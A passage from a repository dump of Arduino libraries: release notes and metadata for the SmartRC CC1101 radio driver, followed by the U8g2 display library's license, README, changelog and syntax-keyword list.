automatically. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.5 --------------------------------------------- [Download Release V1.5](https://drive.google.com/file/d/1XcGPbvI5v2PcpnVBbjtOFwtuJtx3jMK4/view?usp=sharing) 31.07.2018 New :Supportet NewRemoteSwitch Library. For wireless sockets by trust smart home, Smappee, DI-O Chacon, Intertechno and others. You want to use it? Then you need that https://github.com/1technophile/NewRemoteSwitch Add Examples :NewRemoteSwitch Compatible examples. Driver Library :You can now switch directly from Tx to Rx in the loop. Without resetting the cc1101. Add Examples :New Repeater Example for Rc-switch. For example, to increase the range of your remote control. Example changes :Receive_Send_Decimal_Demo_Simple.ino (remove unnecessary commands). Examples Fix :Rc-Switch examples fix TypeA, TypeB and TypeD (missing from semicolon to SetTx). Notes :NewRemoteSwitch examples Retransmitter_cc1101.ino and LightShow_cc1101.ino only Arduino!!! Notes :Rc-switch example Repeater_cc1101.ino only Arduino!!! Notes :Rc-switch example Receive_Send_Decimal_Demo_Simple.ino only Arduino!!! --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.4 --------------------------------------------- [Download Release V1.4](https://drive.google.com/file/d/1nAPGeQSutfskirJsng44adB4sXU1YU6A/view?usp=sharing) 26.07.2018 Driver Library :esp8266 Compatibility (Tested with Wemos d1 mini). Driver Library :Change default Receive filter bandwidth to 812khz (max). Driver Library :Change default Tx Power to PA10 (max). Examples :Add set esp command and pin settings. Examples :Diskription change. Demo Example :Add auto Recive and Send pulse length. (Receive_Send_Decimal_Demo_Simple.ino) Add Wiring JPG :Add Wiring JPG esp8266. Add Wiring TXT :Add Wiring TXT esp8266. Notes :esp8266 pin D4 don´t work with receive, Transmit and receive is set to D2. Notes :esp8266 don´t work with Receive_Send_Decimal_Demo_Simple.ino (freezes when reset cc1101). --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.3.1 --------------------------------------------- [Download Release V1.3.1](https://drive.google.com/file/d/1iKmagldd14O1Boa9Z_PDpXbHRECYUPdt/view?usp=sharing) 30.03.2018: Driver Library Fix :no effect set by transmission power. Driver Library :Transmitting power can be adjusted via frequency(example in the sketches). Examples :Command Tx Power cleared. Examples Fix :set Receive filter bandwidth (command incomplete) Fixed. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.3 --------------------------------------------- [Download Release V1.3](https://drive.google.com/file/d/1q56Qewk8-Aquv1epss1gd7Gc05q4GrbO/view?usp=sharing) 25.03.2018: Driver Library :Add Channel List. Now you can set channel numbers 0-255. Driver Library :Add bandwidth can be adjusted Driver Library :transmission power can be adjusted Driver Library :can set your own frequency settings (freq2, freq1, freq0) Driver Library :Channel spacing can be set. Examples :Add set new commands --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.2 --------------------------------------------- [Download Release V1.2](https://drive.google.com/file/d/1KLJt8ygszj9rqcttiEMt5zCnJKHc_qe3/view?usp=sharing) 20.03.2018: Driver Library :Add 315Mhz Support. Driver Library :Add Channel command for finetune (80khz steps) from 420mhz - 440mhz / 302mhz - 322mhz. Examples :Add set channel command in examples. --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.1 --------------------------------------------- [Download Release V1.1](https://drive.google.com/file/d/1uZzcY4uoduiUjFZzXdxA-ucLoA_TtC1f/view?usp=sharing) 19.03.2018: Driver Library Fix :Calibrated Frequency from 433.86 to 433.92 - 433.93 Mhz. Driver Library :cc1101 reset command added (allows switching between send and receive.) New Demo Example :Receive_Send_Decimal_Demo_Simple.ino (Sends last received decimal code) To illustrate the change between RX and TX (press button = send / do not press button = receive) Add Wiring JPG :Wiring for Receive_Send_Decimal_Demo_Simple.ino Add Wiring JPG :Wiring for Nano / Uno --------------------------------------------- Changelog: RCSwitch-CC1101-Driver-Lib_V1.0 --------------------------------------------- [Download Release V1.0](https://drive.google.com/file/d/14538RtiEakZ_8yioXJT32XneheSjDqxi/view?usp=sharing) 18.03.2018: cc1101 Compatibility for RC-Switch. cc1101 RC-Switch Compatible examples. ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/keywords.txt ================================================ ELECHOUSE_CC1101_SRC_DRV KEYWORD1 ELECHOUSE_cc1101 KEYWORD1 Init KEYWORD2 SpiReadStatus KEYWORD2 SpiStrobe KEYWORD2 SpiWriteReg KEYWORD2 SpiWriteBurstReg KEYWORD2 SpiReadReg KEYWORD2 SpiReadBurstReg KEYWORD2 setSpiPin KEYWORD2 addSpiPin KEYWORD2 setGDO KEYWORD2 setGDO0 KEYWORD2 addGDO KEYWORD2 addGDO0 KEYWORD2 setModul KEYWORD2 setCCMode KEYWORD2 setModulation KEYWORD2 setPA KEYWORD2 setMHZ KEYWORD2 setRxBW KEYWORD2 setChannel KEYWORD2 SetTx KEYWORD2 SetRx KEYWORD2 getRssi KEYWORD2 getLqi KEYWORD2 setSres KEYWORD2 setSidle KEYWORD2 goSleep KEYWORD2 SendData KEYWORD2 CheckReceiveFlag KEYWORD2 CheckRxFifo KEYWORD2 CheckCRC KEYWORD2 ReceiveData KEYWORD2 setClb KEYWORD2 getCC1101 KEYWORD2 getMode KEYWORD2 setSyncWord KEYWORD2 setChsp KEYWORD2 setDRate KEYWORD2 setDeviation KEYWORD2 setSyncMode KEYWORD2 setAdrChk KEYWORD2 setAddr KEYWORD2 setWhiteData KEYWORD2 setPktFormat KEYWORD2 setLengthConfig KEYWORD2 setPacketLength KEYWORD2 setCrc KEYWORD2 setCRC_AF KEYWORD2 setDcFilterOff KEYWORD2 setManchester KEYWORD2 setFEC KEYWORD2 setPRE KEYWORD2 setPQT KEYWORD2 setAppendStatus KEYWORD2 ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/library.json ================================================ { "name": "SmartRC-CC1101-Driver-Lib", "description": "This driver library can be used for many libraries that use a simple RF ASK module, with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly.", "keywords": "rf, radio, wireless, cc1101", "authors": { "name": "Little Satan" }, "repository": { "type": "git", "url": "https://github.com/LSatan/SmartRC-CC1101-Driver-Lib" }, "version": "2.5.7", "frameworks": [ "arduino" ], "platforms": "*" } ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/library.properties ================================================ name=SmartRC-CC1101-Driver-Lib version=2.5.7 author=LSatan maintainer=LSatan sentence=Driver for cc1101. paragraph=This driver library can be used for many libraries that use a simple RF ASK module,with the advantages of the cc1101 module.It offers many direct setting options as in SmartRF Studio and calculates settings such as MHz directly. category=Device Control url=https://github.com/LSatan/SmartRC-CC1101-Driver-Lib architectures=avr,esp8266,esp32 includes=ELECHOUSE_CC1101_SRC_DRV.h ================================================ FILE: Bibliotecas/U8g2/LICENSE ================================================ The U8g2lib code (http://code.google.com/p/u8g2/) is licensed under the terms of the new-bsd license (two-clause bsd license). See also: http://www.opensource.org/licenses/bsd-license.php Fonts are licensed under different conditions. See https://github.com/olikraus/u8g2/wiki/fntgrp for detailed information on the licensing conditions for each font. The example code in sys/raspi_gpio/hal will use the bcm2835 lib from Mike McCauley which is licensed under GPL V3: http://www.airspayce.com/mikem/bcm2835/ ============ X11 Fonts COUR, HELV, NCEN, TIM, SYMB ============ For fonts derived from the following files, the license below applies. COURB08.BDF COURB10.BDF COURB12.BDF COURB14.BDF COURB18.BDF COURB24.BDF COURR08.BDF COURR10.BDF COURR12.BDF COURR14.BDF COURR18.BDF COURR24.BDF HELVB08.BDF HELVB10.BDF HELVB12.BDF HELVB14.BDF HELVB18.BDF HELVB24.BDF HELVR08.BDF HELVR10.BDF HELVR12.BDF HELVR14.BDF HELVR18.BDF HELVR24.BDF NCENB08.BDF NCENB10.BDF NCENB12.BDF NCENB14.BDF NCENB18.BDF NCENB24.BDF NCENR08.BDF NCENR10.BDF NCENR12.BDF NCENR14.BDF NCENR18.BDF NCENR24.BDF SYMB08.BDF SYMB10.BDF SYMB12.BDF SYMB14.BDF SYMB18.BDF SYMB24.BDF TIMB08.BDF TIMB10.BDF TIMB12.BDF TIMB14.BDF TIMB18.BDF TIMB24.BDF TIMR08.BDF TIMR10.BDF TIMR12.BDF TIMR14.BDF TIMR18.BDF TIMR24.BDF Copyright 1984-1989, 1994 Adobe Systems Incorporated. Copyright 1988, 1994 Digital Equipment Corporation. Adobe is a trademark of Adobe Systems Incorporated which may be registered in certain jurisdictions. Permission to use these trademarks is hereby granted only in association with the images described in this file. Permission to use, copy, modify, distribute and sell this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notices appear in all copies and that both those copyright notices and this permission notice appear in supporting documentation, and that the names of Adobe Systems and Digital Equipment Corporation not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. Adobe Systems and Digital Equipment Corporation make no representations about the suitability of this software for any purpose. It is provided "as is" without express or implied warranty. ============ BSD License for U8g2lib Code ============ Universal 8bit Graphics Library (http://code.google.com/p/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: Bibliotecas/U8g2/README.md ================================================ # U8g2_Arduino: Arduino Monochrome Graphics Library ![https://raw.githubusercontent.com/wiki/olikraus/u8g2/img/uc1701_dogs102_uno_board_320.jpg](https://raw.githubusercontent.com/wiki/olikraus/u8g2/img/uc1701_dogs102_uno_board_320.jpg) U8glib V2 library for Arduino Description: https://github.com/olikraus/u8g2/wiki Issue Tracker: https://github.com/olikraus/u8g2/issues Download (2.34.22): https://github.com/olikraus/U8g2_Arduino/archive/master.zip ================================================ FILE: Bibliotecas/U8g2/extras/ChangeLog ================================================ https://github.com/olikraus/u8g2 ChangeLog 2016-04-30 v2.0.1 olikraus@gmail.com * Support for DOGS102, ST7920, SSD1306 * Most graphics primitives are implemented 2016-05-15 v2.0.3 olikraus@gmail.com * Support for Adafruit FeatherWing 128x32 OLED * Added Wire.h support (I2C for SSD1306) * Successfully tested with Adafruit ESP8266 Feather Board (HW+SW I2C) * Successfully tested with Adafruit Feather M0 Basic Board (HW+SW I2C) 2016-06-12 v2.0.4 olikraus@gmail.com * Support for ST7565 2016-06-25 v2.0.6 olikraus@gmail.com * User interface functions * Little Rook Chess ported * ST7920 HW and SW SPI 2016-06-26 v2.0.7 olikraus@gmail.com * drawLine * GraphicsTest Example 2016-08-09 v2.1.5 olikraus@gmail.com * T6963 Support * Experimental Support for SSD1322 256x64 * A2 Thermoprinter Support * Added several fonts from http://int10h.org/oldschool-pc-fonts/ * Added Arabic, Greek and Cyrillic fonts. * Code cleanup (assert, spi modes, void * warning) 2016-08-17 v2.2.7 olikraus@gmail.com * U8x8: Upscale by 2 (Issue 41) * Fixed SSD1306 I2C procedures (mirror pixel in last tile column, issue 44) * Experimental support für mini12864 (pull request) * Use beginTransaction for SPI. This requires Arduino 1.6.0 2016-08-18 v2.3.2 olikraus@gmail.com * MINI12874; Fixed HW Flip Mode (pull request 49) * Fixed ST7920 HW SPI with very fast uC, issue 50 * Improved HW SPI for SH1106 and SSD1306 displays * Fixed issue with missing fonts 2016-08-21 v2.4.1 olikraus@gmail.com * Fixed HW SPI Modes (issue 52) 2016-10-01 v2.5.2 olikraus@gmail.com * Added crox fonts (issue 57) * Support for RA8835 (issue 45) * Added support for SSD1322 and SSD1325 * Added DrawXBMP (AVR: Assume bitmap in PROGMEM) * Added japanese fonts (issue 65) 2016-11-13 v2.6.3 olikraus@gmail.com * Added support for UC1610 (EA DOGXL160) * Use Wire.setClock() for improved HW I2C performance (issue 79). This requires Arduino IDE 1.6.0 or higher. * Added Thai Fonts (issue 73) * Added support for "\n" in the print function for u8x8 (issue 74) * Screen mirror option for U8g2 (issue 76) * Added support for second wire interface (Constructor postfix 2ND_HW_I2C) * Added support for UC1611 (EA DOGM240 and EA DOGXL240, issue 66) 2016-11-28 v2.7.5 olikraus@gmail.com * Added support for 0.66" 64x48 SSD1306 OLED (issue 89) * Support for UC1608 (issue 92) * Speed improvements for SW SPI und 8080 mode (issues 87, 90 and 95) * Fixed issue with ST7920 not using the optimized SW SPI procedures (issue 87) * Direct buffer API (issue 93) 2016-12-11 v2.8.4 olikraus@gmail.com * Increased contrast range for SSD1306 (issue 98) * Support for KS0108 (issue 88) * Support for UC1608 240x128 (issue 101) * Speed improvement (issue 96) 2016-12-12 v2.8.5 olikraus@gmail.com * Bugfix for issue 96 (issue 106) 2016-12-20 v2.9.1 olikraus@gmail.com * Speed improvement for AVR/KS0108 (issue 104) * Support for UC1604 (issue 111) * Support for PCD8544/Nokia Display (issue 107) * Change/fixed behavior of userInterfaceSelectionList (issue 112) 2016-12-23 v2.9.2 olikraus@gmail.com * Reverted the setup for SSD1306_NONAME to the original setup (undo issue 98) * Introduced SSD1306_VCOMH0 for the max range setup (issue 116) 2016-12-30 v2.10.1 olikraus@gmail.com * ST7565 LM6059 Display (issue 123) * SSD1606 eInk/ePaper Display (issue 100) * Documentation updates 2017-01-08 v2.11.4 olikraus@gmail.com * Support for LC7981 (issue 134) * Support for PCF8812 (issue 135) * Fixed wrong half-move notation in Little Rook Chess (issue 137) * Support for ST7567, Pax Instruments GLCD Shield (issue 138) * Support for NT7534 (issue 143) * Support for SSD1327, Seeedstudio OLED (issue 145) * Support for SSD1305 (issue 146) * Support for DOGM132 (issue 147) * Fixed a bug in the draw pixel procedure which appears in full buffer mode, if the display width is not a multiple of 8 (issue 148) * Added XOR mode (setDrawColor 2, issue 56) 2017-01-15 v2.12.6 olikraus@gmail.com * Support for SSD1309 (issue 113) * Enabled U8G2_HVLINE_SPEED_OPTIMIZATION (not sure why this was disabled) * Improved speed for ST7920 (up to 40%, issue 151) * Support for IST3020 (issue 153) 2017-02-07 v2.13.6 olikraus@gmail.com * Support for ST7588 (issue 154) * ESP8266: Avoid RAM copy of the fonts (issue 159) * Support for SSD1607 (issue 133) * Support for hardware pin remapping on the ESP8266 (issue 158) * Bugfix for the KS0108 support (issue 168) * More fonts: https://github.com/olikraus/u8g2/wiki/fntgrpnbp (issue 174) 2017-03-11 v2.14.7 olikraus@gmail.com * Bugfix: setFont does no longer resets the reference position (issue 195) * Support for ST7565 NHD C12864 (issue 186) * Support for SSD1329 128x96 OLED (issue 208) * Support for LC7981 240x128 (issue 193) * Performance improvement for the ST7920 (issue 200) 2017-05-22 v2.15.2 olikraus@gmail.com * Added setBitmapMode (pull request 220) Warning: Default behavior of drawXBM has changed in this release. * Increased SPI speed to 8MHz for SSD1306, SH1106 and SSD1322 (issue 215) * Added some more examples (issue 216) * Added Urdu, Bengali, Hebrew and Polish language fonts (issues 221, 246 and 266) * Added more examples (issue 216) * Updated code for NHD C12864 (issues 219 and 241) * Improved speed for HW SPI with SSD13xx OLEDs (issue 215) 2017-08-12 v2.16.9 olikraus@gmail.com * Fonts u8g2_font_unifont_t_korean1, u8g2_font_unifont_t_korean2 (issue 266) * Added support for 64128N ST7565 based display (issue 292) * Added extended fonts (_te, unicodes 32-701, issue 284) * Added support for MAX7219 (issue 280) * Performance optimization for SSD1322/25/27 (issue 302) * Fixed setContrast for SSD1322 (issue 328) * Support for 96x16 SSD1306 OLED (issue 295) * Fixed OldStandard-Bold fonts (osb, issue 306) * Support for SED1520/SBN1661 (issue 324) 2017-09-10 v2.17.11 olikraus@gmail.com * Additional _m_ and _h_ symbol fonts (issue 335) * Added parallel interfaces for several UC16xx devices (issue 339) * Support for IL3820, WaveShare 2.9" e-paper (issues 318 & 347) * Improved debounce algorithm (issue 338) * Power save mode for SSD1607 device (issue 352) 2017-09-30 v2.18.13 olikraus@gmail.com * Support for ST7567_JLX12864 (issue 365) * Support for UC1611 (no "s") (issue 339) * Fixed several issues related to the _F_ (full buffer) mode (issue 370) 2017-10-13 v2.19.8 olikraus@gmail.com * Support for UC1601 (issue 378) * Support for ESP32 I2C pin remapping (issue 377) * Support for ST75256 (SPI), JLX256128, JLX172104 (issue 163) * Added uw-ttyp0 fonts (issue 349) 2017-12-09 v2.20.13 olikraus@gmail.com * Bugfix for drawBitmap (issue 391) * I2C support for ST75256 (issue 384) * Support for SSD1327 128x128 display (issue 397) * Support for ST75256 JLX25664 display (issue 399) * Added keywords.txt (issue 402) * Experimental support for SSD1326 (issue 398) * Experimental alternative COM config for SSD1306 128x64 (issue 408) * New SH1106 init sequence (SH1106_WINSTAR, issue 316) * Support for SSD1322 NHD 128x64 (issue 412) * Fixed profont17 (issue 438) 2018-02-18 v2.21.8 olikraus@gmail.com * Support for SH1107 (issue 501) * Support for HX1230 (issue 469) * Bugfix for displays with display height not a multiple of 8 (issue 469) * FontUsage demo for full buffer mode (issue 490) * Added 1x2 (double height) draw procedures to U8x8 (issue 474) With this feature a 128x32 display can replace a 16x2 Char LCD. * New constructor for the Good Display 200x200 eInk (issue 454) * Update for the ST7920 device for more stable output (issue 487) * Double height (2x1) chars for U8x8 API (issue 474) * Excluded I2C for several ATMega uC which do not have HW I2C (issue 508) * Fixed UC1610 contrast command (issue 428) * Added WQY Chinese fonts at sizes 12, 13, 14, 15 and 16 including gb2312 support (issue 455) * Added new full buffer demo for the Chinese fonts (Shennong.ino, issue #455) * Added siji icon font u8g2_font_siji_t_6x10 (issue 451) 2018-04-30 v2.22.18 olikraus@gmail.com * Bugfix for draw1x2string (u8x8 API) * Changed return value for "begin()" (issue 518) * New feature: U8log, https://github.com/olikraus/u8g2/wiki/u8logreference * Added SSD1306 128x64 Adafruit OLED (issue 521) * Added Winstart SSD1306 64x48 OLED variant (issue 522) * Added support for JLX240160 (issue 556) * Added support for JLX12864 (ST7565 variant, issue 440) * Added support for JLX256160 (issue 561) * Added support for SH1122 256x64 OLED (issue 420) * Added open iconic icons (issue 535) * Added several Persian fonts (issue 541) * Added additional Japanese font variants (issue 581) * Added Devanagari/Hindi font variant (issue 584) * Added tom-thumb font (issue 563) * Added AVR specific optimization for 3-wire Software SPI (issue 586) 2018-08-24 v2.23.18 olikraus@gmail.com * NEW FONT FORMAT for speedup of the unicode font section (issue 596) * Fixed a bug in the font construction for monospaced fonts (issue 669) * Fixed a bug with the CS line for huge KS0108 displays (issue 631) * Fixed #if's for some AVR uC (issue 662) * Added support for SH1108 controller (issue 619) * Added support for T6963 160x80 Displays (issue 635) * Added support for EA W128128 (issue 641) * Added support for LC7981 240x64 (issue 642) * Added support for ST7567 ENH-DG128064 (issue 616) * Included pull request for ST7586, support for ERC240160 & s028hn118a (pull request 660) * Added SpaceTrash game (issue 622) * Added contributed 7-segment font, https://github.com/olikraus/u8g2/wiki/fntgrpu8g#7segments_26x42 (issue 634) * Added several fonts from fontstruct.com, https://github.com/olikraus/u8g2/wiki/fntgrpfontstruct (issue 687)# This also includes several outline fonts. 2018-10-28 v2.24.3 olikraus@gmail.com * Added clip window support (issue 364) * Added setBusClock() proc to change the I2C/SPI bus clock speed (Arduino only, issue 705) * Added sleep mode for ST7920 (issue 245) * Added support for SSD0323 (issue 720) 2019-02-09 v2.25.10 olikraus@gmail.com * Improved speed for I2C with SSD1306 controller: 4% faster now (issue 735) * Fixed code problems (issues 766 and 754) * Added battery symbols and emoticons (issue 747) * New U8x8 font format, added large U8x8 fonts (issue 771) * Added alternative version for ERC12864 (issue 790) * Added Waveshare SSD1607 200x200 support (issue 637) * Added support for SSD1318 (issue 784) * Partial display update with updateDisplayArea (issue 736) * Several new decorative and fancy fonts from pentacom.jp (issue 801) 2019-06-30 v2.26.14 olikraus@gmail.com * Support for Pimoroni 128x128 OLED SH1107 (issue 803) * Support for Grove 128x128 OLED SH1107 (issue 877) * Support for Winstar 256x128 ST75256 (ST75256_WO256X128, issue 891) * Bugfix: Open Iconic 1x for U8x8 (issue 828) * Added sendF command for direct communication with the display (issues 822, 878, 896) * Support for CG160160 UC1611 (issue 884) * Support for LM6063 128x64 ST7565 (issue 893) * Added fonts from pentacom (issue 810) * Support for ST7511 (issue 876) * Support for SSD1316 132x32 (issue 919) * Support for ST75320 (issue 921) * Added JLX256160M for mirrored version of the JLX256160 display (issue 930) * Unifont update to 12.1.02, added several plane 1 fonts (issue 931) * bdfconv.exe: Windows exe created, bugfix with -d option (issue 833) 2020-01-27 v2.27.6 olikraus@gmail.com * Support for IST7920 (issue 999). Note: IST7920 has nothing todo with ST7920 * Added screenshot/screencapture for full buffer mode (issue 1005) See: https://github.com/olikraus/u8g2/wiki/u8g2reference#writebufferpbm * Bugfix for draw 1x2 and 2x2 procedures for big 8x8 fonts (issue 1054) * Added fast software SPI support for Arduino Nano Every (issue 987) * Added "LoadFromSD" example to demonstrate reading XBM binary from SD card (issue #1059) * Added png to XBM binary conversion tool (https://github.com/olikraus/u8g2/tree/master/tools/png2bin) * Support for SSD1306 72x40 (issue 1047) * Bugfix for print() and setFontDirection() (issue 963) * Support for Visionox SSD1327 128x96 OLED (issue 1090) * Support for Open-Smart ST7567 128x64 LCD (issue 1088) * Added Lucida X11 fonts (issue 271) * Added several fonts from dafont.com (issue 1093) * Added 3-wire HW SPI (issue 1041) 2020-12-28 v2.28.10 olikraus@gmail.com * Added Euro Symbol to _te fonts (issue 1321) * Added support for ST7528 (issue 986) * Added support for ST7571 (issue 1298) * Added support for ST7586 YMC240160 (issue 1183) * Added support for UC1617 JLX128128 (issue 1151) * Added support for SH1106 Visionox 128X32 (issue 1250) * Added support for Raystar SSD1305 (issue 1111) * Added support for KS0713 controller (issue 1314) * Added support for ST7567_HEM6432 (issue 1159) * U8g2 16 Bit Mode enabled by default for ARM and ESP Systems (issue 1222) 2021-09-03 v2.29.11 olikraus@gmail.com * Update for getStrWidth/getUTF8Width: The new return value might be little bit larger (issue 1561) * New draw procedure drawButtonUTF8 (issue 1577) * Added vertical mirror option U8G2_MIRROR_VERTICAL for u8g2 (mattnutsch@gmail.com, issue 1474). * Added support for UC1638 based 196x96 display (issue 371) * Added support for HD44102 and T7932 displays (issue 1492) * Added support for SSD1320 (issue 1351) * Added support for S1D15721 (issue 1473) * Added support for SSD1306 EA OLEDS102 (issue 1493) * Added support for UC1601 128x64 (issue 1501) * Font Wiki page splitted into four sub-pages to avoid the GitHub 'abuse' message. 2021-09-07 v2.30.1 olikraus@gmail.com * Bugfix drawButtonUTF8 (added C++ code, issue 1577) 2021-09-19 v2.31.1 olikraus@gmail.com * Added icons from https://app.streamlinehq.com/icons/pixel (issue 1589) 2021-09-20 v2.31.2 olikraus@gmail.com * Bugfix release for include error (issues 1592 and 1594) 2022-04-03 v2.32.15 olikraus@gmail.com * SH1107 128x80 (issue 1598) * ST7920 256x32 (issue 1593) * ST7567 122x32 (issue 1759) * ST7571 128X96 (issue 1575) * SSD1312 (issue 1806) * ST7571 128x128 (bugfix issue 1576) * Added support for UC1609 (issue 1565) * Added support for GU800 series of Vacuum Fluorescent Displays (VFD, issue 1604) * Changed SPI Mode for Sharp displays (ls013..., issue 1771) * Added many more fonts (issues 1794, 1775, 1706, 1769) * Fixed several bugs and compiler errors 2022-09-04 v2.33.15 olikraus@gmail.com * ST7567 ERC13232 (issue 1869) * Bugfix for ST7567: (re-)added I2C and 3-wire-SPI (issue 1939) * ST7920 160x32 (issue 1873) * ST7586 JLX384160 (issue 1932) * LC7981 128X128, NOT TESTED (issue 1913) * SSD1316 96x32 (issue 1938, not tested, moved to 2.34.x) * GP1287AI 256X50, GP1247AI 253X63 contributed (issue 1907) * Added support for IST3088 (issue 1887) * Double size font functions: drawGlyphX2, drawStrX2, drawUTF8X2 (issue 1919) * Experimental support for ST75160, TESTING REQUIRED (issue 1642) * Bugfix font compression: Reduced fontsize by up to 4% (issue 1941) * Changed SPI mode for SH1106 from 3 to 0 (issue 1901) 2023-06-18 v2.34.22 olikraus@gmail.com * SSD1327 ZJY M150 128x128 (issue 1960) * SSD1316 96x32 (issue 1938) * SSD1322 240x128 (issue 2092) * SH1108 128x160 (issue 1998) * SSD1306 96x39 (issue 1959) * S1D15300 128x64, flip mode 1 not supported, (issue 2063) * SSD1362 256x64 (issue 1322, issue 2051) * ST75256 JLX160x80 (NOT TESTED, issue 2058) * UC1638 240x128 (issue 2075) * SED1330 320x200 (issue 1086) * Bugfix: Clear font_height_mode during setup to ensure correct default values in cases where the u8g2 struct / class is created via dynamic memory allocation (issue 2046) * Bugfix: Fix line draw procedure in 16 bit mode (issue 2053) * Added Spleen Monospaced Font from https://github.com/fcambus/spleen (issue 2015) * Extended the "E" font range with subscript characters if available in the original font (issue 2079) * Bugfix for ESP32 HW SPI Pin Remapping (issue 377, PR 2123) * Bugfix for LoadFromSD examle (issue 2179) * Changed MUI_LABEL to support UTF8 (issue 2196) * Compiler Warning Cleanup for polygon draw (issue 1999, PR 2101) * Added MUI fixed width bar graph (issue 2200) * Added 04b fonts from u8glib (issue 2157) * Added "font_tiny5" (issue 2185) * Added MUI (https://github.com/olikraus/u8g2/wiki/muimanual) examples (issue 1747) ================================================ FILE: Bibliotecas/U8g2/keywords.txt ================================================ ####################################### # Syntax Coloring Map For u8g2 ####################################### # Class (KEYWORD1) ####################################### u8g2 KEYWORD1 ####################################### # Methods and Functions (KEYWORD2) ####################################### begin KEYWORD2 clear KEYWORD2 clearBuffer KEYWORD2 clearDisplay KEYWORD2 disableUTF8Print KEYWORD2 drawBitmap KEYWORD2 drawBox KEYWORD2 drawCircle KEYWORD2 drawDisc KEYWORD2 drawEllipse KEYWORD2 drawFilledEllipse KEYWORD2 drawFrame KEYWORD2 drawGlyph KEYWORD2 drawHLine KEYWORD2 drawLine KEYWORD2 drawPixel KEYWORD2 drawRBox KEYWORD2 drawRFrame KEYWORD2 drawStr KEYWORD2 drawTriangle KEYWORD2 drawUTF8 KEYWORD2 drawVLine KEYWORD2 drawXBM KEYWORD2 enableUTF8Print KEYWORD2 firstPage KEYWORD2 getAscent KEYWORD2 getDescent KEYWORD2 getDisplayHeight KEYWORD2 getDisplayWidth KEYWORD2 getMaxCharHeight KEYWORD2 getMaxCharWidth KEYWORD2 getMenuEvent KEYWORD2 getStrWidth KEYWORD2 getUTF8Width KEYWORD2 home KEYWORD2 initDisplay KEYWORD2 nextPage KEYWORD2 print KEYWORD2 sendBuffer KEYWORD2 setAutoPageClear KEYWORD2 setBitmapMode KEYWORD2 setBusClock KEYWORD2 setClipWindow KEYWORD2 setContrast KEYWORD2 setCursor KEYWORD2 setDisplayRotation KEYWORD2 setDrawColor KEYWORD2 setFlipMode KEYWORD2 setFont KEYWORD2 setFontDirection KEYWORD2 setFontMode KEYWORD2 setFontPosBaseline KEYWORD2 setFontPosBottom KEYWORD2 setFontPosTop KEYWORD2 setFontPosCenter KEYWORD2 setFontRefHeightAll KEYWORD2 setFontRefHeightExtendedText KEYWORD2 setFontRefHeightText KEYWORD2 setI2CAddress KEYWORD2 setMaxClipWindow KEYWORD2 setPowerSave KEYWORD2 updateDisplay KEYWORD2 updateDisplayArea KEYWORD2 writeBufferPBM KEYWORD2 writeBufferXBM KEYWORD2 writeBufferPBM2 KEYWORD2 writeBufferXBM2 KEYWORD2 userInterfaceInputValue KEYWORD2 userInterfaceMessage KEYWORD2 userInterfaceSelectionList KEYWORD2 getBufferSize KEYWORD2 setBufferPtr KEYWORD2 getBufferPtr KEYWORD2 getBufferTileHeight KEYWORD2 getBufferTileWidth KEYWORD2 getBufferCurrTileRow KEYWORD2 setBufferCurrTileRow KEYWORD2 ####################################### # Constants (LITERAL1) ####################################### u8g2_font_u8glib_4_tf LITERAL1 u8g2_font_u8glib_4_tr LITERAL1 u8g2_font_u8glib_4_hf LITERAL1 u8g2_font_u8glib_4_hr LITERAL1 u8g2_font_m2icon_5_tf LITERAL1 u8g2_font_m2icon_7_tf LITERAL1 u8g2_font_m2icon_9_tf LITERAL1 u8g2_font_emoticons21_tr LITERAL1 u8g2_font_battery19_tn LITERAL1 u8g2_font_battery24_tr LITERAL1 u8g2_font_squeezed_r6_tr LITERAL1 u8g2_font_squeezed_r6_tn LITERAL1 u8g2_font_squeezed_b6_tr LITERAL1 u8g2_font_squeezed_b6_tn LITERAL1 u8g2_font_squeezed_r7_tr LITERAL1 u8g2_font_squeezed_r7_tn LITERAL1 u8g2_font_squeezed_b7_tr LITERAL1 u8g2_font_squeezed_b7_tn LITERAL1 u8g2_font_percent_circle_25_hn LITERAL1 u8g2_font_freedoomr10_tu LITERAL1 u8g2_font_freedoomr10_mu LITERAL1 u8g2_font_freedoomr25_tn LITERAL1 u8g2_font_freedoomr25_mn LITERAL1 u8g2_font_7Segments_26x42_mn LITERAL1 u8g2_font_7_Seg_33x19_mn LITERAL1 u8g2_font_7_Seg_41x21_mn LITERAL1 u8g2_font_tiny5_tf LITERAL1 u8g2_font_tiny5_tr 